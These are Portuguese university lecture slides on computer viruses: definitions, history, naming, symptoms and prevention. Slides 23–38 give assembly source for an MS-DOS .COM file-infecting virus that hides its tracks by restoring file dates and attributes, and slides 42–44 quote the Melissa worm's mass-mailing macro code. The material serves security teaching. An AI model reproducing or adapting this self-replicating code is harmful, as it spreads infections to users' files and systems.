Criptografia e Segurança
das Comunicações
Virus informáticos
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 1/47
Definições (1)
• Virus: segmento de código (200B-4KB), que se copia
num programa hospedeiro (“host”), quando este é
activado.
Nota: os virus não infectam ficheiros de dados, embora
alguns possam ser interpretados (ex: Email pelo Outlook
Express).
• Cavalo de Troia (“Trojan horse”): programa com
funções, frequentemente destrutivas, não conhecidas pelo
utilizador
– Bomba temporal: funções activadas por data
– Bomba lógica: funções activadas por condições
• Verme (“Worm”): programa que se duplica a si próprio,
sem infectar outros. Os vermes replicam-se na Internet,
sobrecarregando-a.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 2/47
Definições (2)
• Spyware – programas que reconhem informação
(comandos, senhas de passe,…) que é enviada pela
Internet.
• CM2 (“Malicious Mobile Code”): programas desenhados
para se moverem entre computadores, por redes, a fim de
modificar sistemas sem conhecimento dos operadores.
• SPAM1 – correio não solicitado.
1
Marca de carne enlatada, da empresa Hormel, acrónimo de
Shoulder of Pork and hAM.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 3/47
Identificação de virus (1)
As identificações iniciais usavam critérios “ad-hoc”, uma vez
que os criadores são frequentemente desconhecidos.
• Local onde foi detectado pela 1ª vez (ex: Leigh, Alameda).
• Cadeia de caracteres existente no código (ex: Brain, Melissa,
AnaKournikova)
• Numero de Bytes de incremento do programa infectado (ex: 1704,
1280)
• Associações extemporânias (Code Red é uma bebida energética que
os analistas tomaram na altura do combate ao virus)
• …
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 4/47
Identificação de virus (2)
• A descrição dos virus detectados mensalmente publicada
em http://www.wildlist.org
• Em 1991, a CARO-Computer Antivirus Research Org,
adoptou uma metologia para as designações
– Formato: Familia.Grupo.VarMaior.VarMenor.Modificador
– Campos cada vez mais específicos, sendo obrigatórios à esquerda
Exemplo: W97.Melissa.AA
Primeira variante
Word 97 Macro
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 5/47
Identificação de virus (3)
Código de algumas famílias de virus
Prefixo
Descrição
BAT
DOS batch
Boot
sector “boot” do DOS
HLL
Linguagem de programação (Java, JS-JavaScript, VBSVisual Basic Script)
TRO
Cavalo de Troia
W32
Todas as plataformas Windows 32 (Win 2000,NT,XP)
W64
Plataforma Windows IA64
WM
Word macro
XM
Excel macro
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 6/47
História (1)
Curiosidade, não faz parte da avaliação
[Nov83] Fred Cohen, estudante de Doutoramento em EE na University
of Southern California, imagina, numa disciplina sobre
segurança, um programa que tome conta de um computador.
Implementa-o num VAX 11/470, a correr Unix, que toma
conta dele numa hora1.
O orientador, Prof. Adelman, sugere o nome de “virus”.
[1982] Primeiro virus conhecido, no sector boot de uma diskette do
Apple II contendo o jogo Elk Cloner. No 50º “boot” imprime
uma mensagem no terminal.
[Jan85] Primeiras infecções em PCs: Leigh-Universidade onde Cohen
ensinava, e o cavalo de Troia Brian-produzido no Paquistão
(autores indicados no código).
[1987] Detectado o virus Jerusalem na Hebrew University, que
aumenta sempre ficheiros .COM e .EXE e destroi todos os
programas a correr na 6ª-feira, 13.
Primeiro virus a atrair atenção na comunicação social.
1Fred
Cohen, Computer Viruses-Theory and Experiments, Computers & Security: 6(1), 22-35; 1987
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 7/47
História (2)
Curiosidade, não faz parte da avaliação
[Nov88] Primeiro verme detectado, Morris Internet Worm, afectando
VAX e Sun3 com Unix 4 BSD.
[89-92] Geração de vários virus em Sofia/Bulgária, incluindo o
DAME (Dark Avenger’s Mutating Engine, ou MTE, uma
ferramenta de apoio à geração de novos virus).
[Ago95] MicroSoft distribui, a centenas de produtores de software, o
CD Windows 95 Software Compatability Test com o virus
WM.Concept
[Jun97] Publicado programa “winnuke.c”, que envia para o porto 139
lixo e o Win95 do outro lado crasha.
[Ago98] Lançado o primeiro virus de Java, o Strange Brew.
[1999] Lançado primeiro “spyware” no jogo gratuito Elf Bowling.
[Mar99] Lançado o primeiro verme de Email, o Melissa.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 8/47
História (3)
Curiosidade, não faz parte da avaliação
[Jun00] Cavalo de Troia Timfonica, em Visual Basic, infecta na
Espanha PCs para enviar mensagens a telemóveis: para além do
manifesto anti-monopólio, apaga parameterizações.
[Jul01] O verme Code Red replicou-se mais de 250 mil vezes, em 9
horas, no dia 21 de Julho.
[Set01] Lançado o primeiro cavalo de Troia contra o Palm OS, o
Liberty crack.
[Jan03] O verme W32.Slam, explorando uma falha no servidor SQL da
MicroSoft, arrancou em Hong-Kong no dia 25 de Janeiro e
bloqueou 5 dos 13 servidores da Internet em 15 minutos.
Tinha apenas 376B!
[Mai04] Lançado o primeiro virus conceptual do Win64, o
W64.Rugrat.3344
[Jul07] Lançado verme W32.Deletemusic, que elimina todos os
ficheiros MP3.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 9/47
Efeitos de virus (1)
• Graves prejuizos economicos na quebra do desempenho da
Internet (ex: o Slammer causou prejuízos estimados em 2
biliões de USD-a Continental Airlines teve de encerrar o
“hub” de Newark).
• Criação de muitas empresas de eliminação de virus
(McAFee, Norton, Panda,…).
• Incentivam desenvolvimento de protecções (“Firewalls”,…)
e descoberta/ eliminação de falhas (“loopholes”).
• Os virus/vermes têm sido sido detectados em muitos
ambientes
– Microcomputadores (MSDOS, Windows, Macintosh,…)
– “Routers” da Internet
– Telemóveis, PDAs
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 10/47
Efeitos de virus (2)
Curiosidade, não faz parte da avaliação
• Em 2007 encontravam-se registados 1.1 milhões, muitos
deles variantes (relatório Symantec).
• Diversos estados (EUA,GB,*…) publicaram leis contra a
produção e difusão de virus. Já foram condenados
criadores de virus/vermes
[Mai95] Primeiro condenado na GB pela criação de virus, a 18
meses de detenção.
[Fev98] Criador do Morris Internet Worm suspenso, durante 1
ano, da Cornell University de Ithaca/NY.
[Set01] Criador do VBS.VBSWG.J@MM , ou AnaKournikova,
condenado na Holanda a 75 dias de prisão.
* Portugal em Outubro 2009.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 11/47
Efeitos de virus (3)
Curiosidade, não faz parte da avaliação
[Mai02] Criador do Melissa condenado, no estado de New Jersey,
a 20 meses de prisão.
[Jul04] Criador do cavalo de Troia W32.Carbonator condenado,
em Espanha, a 2 anos de prisão. O virus foi disponibilizado numa
pagina Web com instruções para seu uso: uma vez carregado,
permitia ao criador do Carbonator aceder aos dados do
computador infectado.
[Abr05] Criador de distribuidor de Email spam, Jeremy Janes,
condenado a 9 anos de prisão no estado de Virginia.
[Jan06] James McCalla condenado por tribunal de Illinois a pagar
11.2 biliões de USD a Midwest ISP, por envio de 280 milhões de
Email spam.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 12/47
Efeitos de virus (4)
• Sintomas de infecções virais
– Alterações inesperadas do comprimento de ficheiros
(especialmente executáveis).
– Programas a demorar mais tempo a iniciar, ou correr mais
lentamente.
– Tentativas, sem razão aparente, de escrita em meio “writeprotected”.
– Diminuição inesperada de memória de disco, ou aumento de “badsectors” nos discos.
– Ficheiros a desaparecer, ou serem criados, misteriosamente.
– “Reboot” inesperado com programas correctos a executar.
– Carga anormal de redes locais, especialmente quando cópias
multiplas dos mesmos dados são enviados.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 13/47
Etapas de um virus (1)
• As etapas mais importantes na vida de um virus são:
– Activação
– Replicação (“spread”)
– Manipulação (opcional, ex: alteração de dados no disco,
mensagens no ecran, “reboot”,…)
Nota 1: Os criadores de virus pretendem que a activação e
a replicação sejam automáticas e invisíveis (sem
intervenção directa, nem conhecimento do operador).
Nota 2: Um verme não necessita da intervenção do
operador para se replicar.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 14/47
Etapas de um virus (2)
• Os sistemas operativos iniciais (MSDOS,…), muito
simples, não possuiam protecções contra virus.
• Sistemas operativos mais protegidos (Win32,MacOS,…),
não são invioláveis: apesar de mais complexos, falhas
continuam a ser exploradas.
• Nesta disciplina são analisados, com algum detalhe,
alguns virus/vermes
– Brain, Melissa
– Morris Internet Worm, Slammer
• Nesta disciplina é implementado em MSDOS um vírus
informático inofensivo.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 15/47
Formas de adição no hospedeiro
• Incremento (“add-on”): o virus é inserido no fim, ou no
início do hospedeiro, e o arranque do hospedeiro é
alterado por forma que o virus seja executado primeiro.
É a forma mais seguida pelos criadores de virus.
• Concha (“shell’): o virus torna-se o programa principal e
o hospedeiro torna-se subrotina do virus.
• Intrusivo: parte do código do hospedeiro é substituído
pelo virus.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 16/47
MSDOS: Activação
• A activação pode ser feita
– Automaticamente no arranque do sistema: activação ocorre
sempre!
– No programa infectado (.COM ou .EXE): activação só ocorre
quando o programa infectado é activado.
O MSDOS, ao carregar um programa (.COM ou .EXE), cria na
base um espaço de 0100H denominado PSP-Program Segment
Prefix.
• Diferenças nos formatos dos ficheiros de “boot”, .COM e
.EXE levam que os virus sejam específicos a ficheiros tipo
e a sistema operativo.
• Nesta disciplina são abordadas duas formas de replicação:
– Ficheiro .COM
– Macros
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 17/47
Replicação COM-memória (1)
• Nos ficheiros .COM, código, dados e pilha estão no
mesmo segmento (logo, obrigatoriamente menores que
64KB).
• Os programas podem ser colocados em qualquer endereço
da zona de RAM denominada TPA-Transient Program
Area.
Início do programa
64K
PSP
Código + Dados
.COM
Virus
TPA
A Basic Virus Writing Primer, Chili, Assembly Programming Journal 1(4); Apr 1999
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 18/47
Replicação COM-memória (2)
• No MSDOS, programas .COM ou .EXE são colocados
depois do PSP-Program Segment Prefix (0100H)
• Depois de carregado o ficheiro .COM, o MSDOS
inicializa os seguintes registos antes de iniciar a execução
–
–
–
–
–
AX = BX = CX = DX = 00000H
BP = 0100H
SP = 0FFFFH
DS,ES,SS,CS = segmento onde é instalado o programa
IP = 0100H
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 19/47
Replicação COM-int 21h (1)
Curiosidade, não faz parte da avaliação
Operações sobre ficheiros com INT 21h e função no AH
Cod.
Objectivo
Parâmetros
Retorno
01H
Lê caractere do teclado
---
AL-caractere
02H
Escreve caractere na consola
DL-caractere
---
09H
Imprime cadeia de caracteres
DS:DX-endereço de cadeia (1) ---
01H
Lê caractere do teclado sem ecoar ---
AL-caractere
1AH Transferir local do DTA
DS:DX-novo endereço
---
3DH Abertura de um ficheiro
AL-modo de acesso
DS:DX-endereço de nome (2)
Sucesso c/ carry=0
AX-descritor fich
3EH
BX-descritor ficheiro
Sucesso c/ carry=0
1)
2)
Fecho de um ficheiro
– cadeia de caracteres terminada por ‘$’
– cadeia de caracteres terminada pelo Byte 0
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 20/47
Replicação COM-int 21h (2)
Curiosidade, não faz parte da avaliação
Cod.
Objectivo
3FH
Leitura de um ficheiro
BX-descritor ficheiro
CX-numero Bytes a ler
DS:DX-endereço de memória
Sucesso c/ carry=0
AX-Bytes lidos
40H
Escrita de um ficheiro
BX-descritor ficheiro
CX-numero Bytes a escrever
DS:DX-endereço de memória
Sucesso c/ carry=0
AX-Bytes escritos
42H
Alterar posição no fich
AL-origem do movimento
BX-descritor ficheiro
CX,DX-deslocamento
Sucesso c/ carry=0
DX,AX-deslocamento
efectuado
43H
Obter/alterar atributos
AL-00(get), 01(set)
CX-atributos
Sucesso c/ carry=0
CX-atributos (se AL=0)
Prof RG Crespo
Parâmetros
Retorno
Criptografia e Segurança das Comunicações
Virus : 21/47
Replicação COM-int 21h (3)
Curiosidade, não faz parte da avaliação
Cod.
Objectivo
Parâmetros
Retorno
4CH
Termina programa
AL-código retorno
---
4EH
Procura primeiro
ficheiro numa directoria
CX-tipo de ficheiro
DS,DX-endereço da “template”
Sucesso c/ carry=0
DTA
4FH
Procura ficheiro
seguinte
DS,DX- “template” anterior
Sucesso c/ carry=0
57H
(3)
Obter/alterar data de
última alteração
AL-00(get), 01(set)
BX- descritor ficheiro
DX-data, CX-hora (se AL=01)
Sucesso c/ carry=0
DX-data
CX-hora (se AL=00)
3)
Só para MSDOS 4+
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 22/47
Replicação COM-int 21h (4)
00H
15H
16H
43B
18H
1AH
1EH
• Estrutura do DTA preenchido pela
função 4EH
reservado
atributos do ficheiro
hora
data
dimensão do ficheiro
nome do ficheiro
2AH
Nota: DTA pode igualmente guardar a linha de comandos,
nesse caso são necessários 128B
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 23/47
Replicação COM-passos (1)
Um virus .COM, infecta outro ficheiro seguindo os passos
1. Copia, para o fim do ficheiro a infectar, o código
2. Copia para o novo final, os 3 primeiros Bytes do ficheiro
a infectar.
3. Substitui os 3 primeiros Bytes por um “JUMP” para o
código viral.
4. No final do código viral:
•
•
•
Obtém o endereço do PSP, pelo INT 21H-função 062H.
Copia os 3 Bytes salvaguardados para PSP+0100H
Executa um “JUMP” para PSP+0100H
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 24/47
Replicação COM-passos (2)
• Para que o utilizador não desconfie dos acessos, os
criadores de virus seguem os seguintes passos:
– Se o alvo estiver “write-protected”, retirar a protecção e
restabelecê-la no fim.
– Antes de escrever no ficheiro alvo, guardar a data da última
modificação, e restaurar a data depois de escrever no ficheiro
alvo.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 25/47
Replicação COM-variáveis (1)
• Problema: Nas instruções de salto, os endereços são
relativos ao 1º Byte depois da instrução.
Em Asm86, os endereços das variáveis são absolutos,
dentro de DS. No entanto, a posição dos dados da parte
viral depende do hospedeiro.
Como saber a posição das variáveis (exemplo, para
guardar os 3 Bytes iniciais do ficheiro a infectar)?
Código
Dados
Código
Dados
Hosp. A
Hosp. A
virus
virus
Código
Dados
Código
Dados
Hosp. B
Hosp. B
virus
virus
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 26/47
Replicação COM-variáveis (2)
Solução: O código dos virus é de tamanho sempre igual, e as
variáveis do virus estão depois do código.
Assim, o código do vírus tem de recolher no início o
deslocamento relativo da sua parte de código.
Start_virus:
; chama a instrução seguinte, logo IP é carregado na pilha
call Here
Here:
pop bp
; recolhe endereço para o BP
sub bp, offset Here ; subtrai espaço da parte inicial(call Here)
• No código do virus, as suas variáveis são sempre acedidas
por endereçamento base na forma
[BP+offset var]
Deslocamento da variável dentro do virus
Deslocamento no hospedeiro
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 27/47
Replicação COM-restauro
• O hospedeiro tem os 3 primeiros Bytes, em 100h,
substituidos pelo salto para o código do virus.
• O virus alterar os 3 primeiros Bytes duas vezes
– ao infectar um programa, começa por guardar o conteúdo dos 3
primeiros Bytes desse programa na variável fst_three.
– No final o virus restabelece esses 3 Bytes, com instruções MOVS,
para que depois o programa original possa ser executado sem que
o utilizador suspeite da infecção.
mov
di,100H
; [ES]:DI aponta destino
push di
lea si,[bp+offset fst_three]
cld
; reset direction flag para incrementos no DI e SI
movsb
movsw
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 28/47
Replicação COM-código (1)
.model tiny ; modelo .COM
.code
;
org 100H ; deixa espaço para PSP
; Restaura 3 primeiros Bytes do hospedeiro
Start:
;
db 0E9H ; instrução de salto
mov di,100H ; [ES]:DI aponta destino
dw 0
; no lançador é zero, noutros
push di
; casos determina-se depois
lea si,[bp+offset fst_three]
;
cld
; reset direction flag para
; Obtem, no BP, o espaço do hospedeiro
; increments no DI e no SI
movsb
;
movsw
Start_virus:
call Here
Here:
pop bp
sub bp, offset Here
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 29/47
Replicação COM-código (2)
•
•
No PSP, a área acima de 80H (DTA-Disk Transfer Area)
é usada pelo INT 21 para guardar dados.
No arranque do programa, em 80H estão guardados os
parâmetros da linha de comando. Logo, o virus tem de
guardar esses dados antes de qualquer acesso a disco.
lea dx,[bp+offset dta]
$Set_dta
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 30/47
Replicação COM-código (3)
;
; Procura um ficheiro para infectar
;
mov ah,4eh
;
Find_next:
lea dx,[bp+offset template]
mov cx,3fh ; todos os tipos de ficheiro
int 21h
jnc Found_one
jmp Quit
;
; Abre ficheiro alvo
;
Found_one:
mov al,0 ; recolhe atributos
$Get_set_attrib
mov [bp+offset file_attrib],cx
test cx,1
je
Attrib_ok
acesso
; está em “write-protected”, tem de alterar modo de
dec cx
mov al,1
$Get_set_attrib
;
Attrib_ok:
mov
mov
leitura/escrita
int
jnc
call
restabelece atr
mov
jmp
Prof RG Crespo
ah,3dh
al,2h
; acesso
21h
Opened
Restore_attrib ; falhou,
ah,4fh ; tenta outro
Find_next
Criptografia e Segurança das Comunicações
Virus : 31/47
Replicação COM-código (4)
Opened:
xchg ax,bx ; desloca descritor para BX
;
; Lê data da última alteração do ficheiro
;
mov al,0
$Get_set_date
mov [bp+offset time],cx
mov [bp+offset date],dx
Prof RG Crespo
;
; Lê e guarda 3 primeiros Bytes
;
mov
lea
mov
int
jnc
call
mov
jmp
ah,03Fh
dx,[bp+offset fst_three]
cx,3
21h
Check_size
Restore_date
ah,4fh ; tenta outro
Find_next
Criptografia e Segurança das Comunicações
Virus : 32/47
Replicação COM-código (5)
Problema: Os virus .COM possuem o inconveniente de
provocar o aumento do programa (ex: o virus Jerusalem
não tinha assinatura, e cada infecção aumenta o programa
em 1813B). Não há interesse em infectar um hospedeiro já
infectado.
Solução: Verificar se o ficheiro já foi infectado, comparando
dimensões do virus (código + dados).
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 33/47
Replicação COM-código (6)
Check_size: ; se tamanho dos dois ficheiros for igual, o alvo já deve estar infectado
mov ax,word ptr[bp+offset F_Size]
mov cx,word ptr[bp+offset fst_three+1]
add cx,End_virus-Start_virus+3
cmp ax,cx
jnz Uninfected
call Restore_date
mov ah,4fh ; tenta outro
jmp Find_next
;
; Yum-yum, um candidato à infecção! Vamos a ele….
;
Uninfected:
; calcular deslocamento para o JMP no ficheiro alvo
sub ax,3
mov word ptr [bp+offset jmp_offset],ax
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 34/47
Replicação COM-código (7)
;
;
; Posiciona-se no inicio do fich alvo ; copia virus
;
;
Copy:
mov al,0h
$Move_file_ptr
;
; Escreve 3 primeiros Bytes
;
mov cx,3
lea dx,[bp+offset jmp_inst]
$Write_to_file
jnc Copy
call Restore_date
mov ah,4fh ; tenta outro
jmp Find_next
Prof RG Crespo
mov al,2 ; posicionar no fim
$Move_file_ptr
; copiar o corpo principal do virus
mov cx,End_virus-Start_virus
lea dx,[bp+offset Start_virus]
$Write_to_file
;
; Restabelece DTA e data do hospedeiro
;
mov dx,80h
$Set_dta
call Restore_date
Criptografia e Segurança das Comunicações
Virus : 35/47
Replicação COM-código (8)
;
; Restaura registos e regressa
;ao programa infectado
;
mov
mov
mov
mov
mov
mov
mov
retn
ax,0
bx,0
cx,0
dx,0
bp,0
si,0
di,0
;
; NOTA:ORDEM DAS ROTINAS
; Restore_date, Restore_attrib, Close
; NÃO PODE SER ALTERADA
;
Prof RG Crespo
Restore_date: ; restaura data/dia
mov al,01h
mov cx,[bp+offset time]
mov dx,[bp+offset date]
$Get_set_date
; restaura atributos
mov cx,[bp+offset file_attrib]
mov al,1
$Get_set_attrib
Restore_attrib:
Close:
; fecha alvo
mov ah,03eh
int 21h
retn
Criptografia e Segurança das Comunicações
Virus : 36/47
Replicação COM-código (9)
;
; DADOS A RESIDIR NO FICHEIRO ALVO
;
template
db "disp?.com",0
fst_three
db 0cdh,20h,0
;INT 20
virus_name
db "[Demo]",0
author db
"Nobody",0
jmp_inst
db 0e9h
;
End_virus equ $
;
; DADOS A RESIDIR NO FICHEIRO INFECTADO
;
jmp_offset
dw ?
dta:
Reserv
db 21 dup(?)
F_Attr
db ?
F_Time
dw ?
F_Date
dw ?
F_Size
dd ?
F_Name
db 13 dup(?)
date
dw ?
time
dw ?
file_attrib
dw ?
_code
Manter ordem nas declarações de dados!
Prof RG Crespo
ends
end _start
Criptografia e Segurança das Comunicações
Virus : 37/47
Replicação COM-código (10)
;
; MACROS
;
$Write_to_file MACRO
mov
ah,40h
int
21h
ENDM
$Set_dta
MACRO
mov
ah,1ah
int
21h
ENDM
$Get_set_attrib MACRO
lea
dx,[bp+offset dta+1eh]
mov
ah,43h
int
21h
ENDM
Prof RG Crespo
$Get_set_date
mov
int
ENDM
$Move_file_ptr
mov
mov
mov
int
ENDM
Criptografia e Segurança das Comunicações
MACRO
ah,57h
21h
MACRO
cx,0
dx,0
ah,42h
21h
Virus : 38/47
Virus por macros (1)
• Diversas ferramentas permitem processar dados, por
macros. As macros, escritas em linguagens de alto nível
(mais fáceis de usar), podem ser associadas aos ficheiros.
• Os dados são enviados em diskettes, CDs ou pela Internet
(email, ftp, WWW)
– A ferramenta Outlook Express processa macros inseridos no
Email.
– A ferramenta Word (Excel) processa macros inseridas em
documentos (folhas de cálculo).
• Algumas macros podem ser executadas automaticamente
pela ferramenta, sem conhecimento directo do utilizador.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 39/47
Virus por macros (2)
• Em 1993, a Microsoft passou a usar a linguagem de
macros VBA - Visual Basic for Applications para empresas
adaptarem aplicações da MS (Word, Excel, Outlook,
FrontPage,…).
• Listagem de macros efectuada no menu Tools, comando
Macro (Alt-F8).
Edição de macros efectuada pelo Visual Basic
Editor (Alt-F11).
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 40/47
Virus por macros (3)
Ciclo de vida
• As etapas dos virus por macros são semelhantes às etapas
dos virus de código: activação, replicação e manipulação.
1. Utilizador abre o documento infectado.
2. Ferramenta carrega as macros.
3. Macros são automaticamente executadas, contendo
instruções de replicação.
Por exemplo, o documento infectado é enviado por Email
a endereços armazenados no computador.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 41/47
Virus por macros (4)
Curiosidade, não faz parte da avaliação
Virus Melissa
• W97M virus, lançado em Março de 99.
– Macro designado por Melissa
– Registo HKEY_CURRENT_USER\Software\Microsoft\Office\Melissa?
fica com valor Kwyjibo, para o virus confirmar se o PC já se encontra
infectado
• Procura 50 endereços de Email, enviando mensagem
infectada
{user name} do PC infectado
– Subject: Important Message From {user name}
– Conteúdo: Here is that document you asked for . . . don't show
anyone else :-)
– Attachment: documento activo infectado
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 42/47
Virus por macros (5)
Curiosidade, não faz parte da avaliação
• Se dia e minuto forem iguais (ex: dia 30 às 0:30), insere
na corrente localização do documento a frase
Twenty-two points, plus triple-word-score, plus fifty points for
using all my letters. Game's over. I'm outta here.
; cria instância do Outlook
SET UngaDasOutlook = CreateObject("Outlook.Application")
; verifica se computador ainda não foi infectado
IF System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\","Melissa")
<> "... by Kwyjibo" THEN
; verifica se o servidor de Email é o Outlook
IF UngaDasOutlook="Outlook" THEN
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 43/47
Virus por macros (6)
Curiosidade, não faz parte da avaliação
; recolhe identificador do utilizador e passwd
DasMapiName.Logon "profile" "password"
; recolhe endereços armazenados
FOR y=1 TO DasMapiName.AddressLists.Count
SET AddyBook = DasMapiName.AddressLists(y)
x = 1
SET BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
FOR oo=1 TO AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x +1
IF x>50 THEN oo= AddyBook.AddressEntries.Count
NEXT oo
; envia email infectado
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 44/47
Virus por macros (7)
Curiosidade, não faz parte da avaliação
• Depois, o virus verifica o documento activo é normal ou
um padrão Normal.dot.
– Se for documento normal, infecta o padrão Normal.dot com a
macro Document_Close (a correr sempre que o documento é
fechado).
– Se for o padrão Normal.dot, infecta o documento activo com a
macro Document_Open (a correr sempre que o documento é
aberto).
O Word trabalha sobre dois tipos de ficheiros:
– Documento propriamente dito (.doc)
– Padrão (“template”), com as formatações/margens/ … O padrão
Normal.dot, é o de omissão do Word e é alvo favorito dos
criadores de virus.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 45/47
Assinaturas
• Para evitar multiplas infecções, os virus possuem
mecanismos de reconhecimento. Existem dois locais onde
são inseridas assinaturas:
– Ficheiro: cadeias específicas (“scan strings”) em locais designados
– Memória: na activação são instaladas funções próprias do virus
(ex: Cascade tem função no endereço 04BFFH, devolve 055AH
no registo DI).
• Os mecanismos de reconhecimento são uma preciosa
ajuda para os detectores de virus.
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 46/47
Regras básicas para evitar virus
•
•
•
•
Não abrir email “estranhos”.
Desconfiar de sites gratuitos.
Instalar programas apenas de vendedores seguros.
Configurar bloqueador “popup” no navegador (Firefox,
IE, Google Toolbar).
• Usar e manter actualizado um AV.
– MacAfee, Panda,...
– Actualizar periodicamente definições de virus (melhor ainda,
configurar Live update)
Prof RG Crespo
Criptografia e Segurança das Comunicações
Virus : 47/47
Download

Acetatos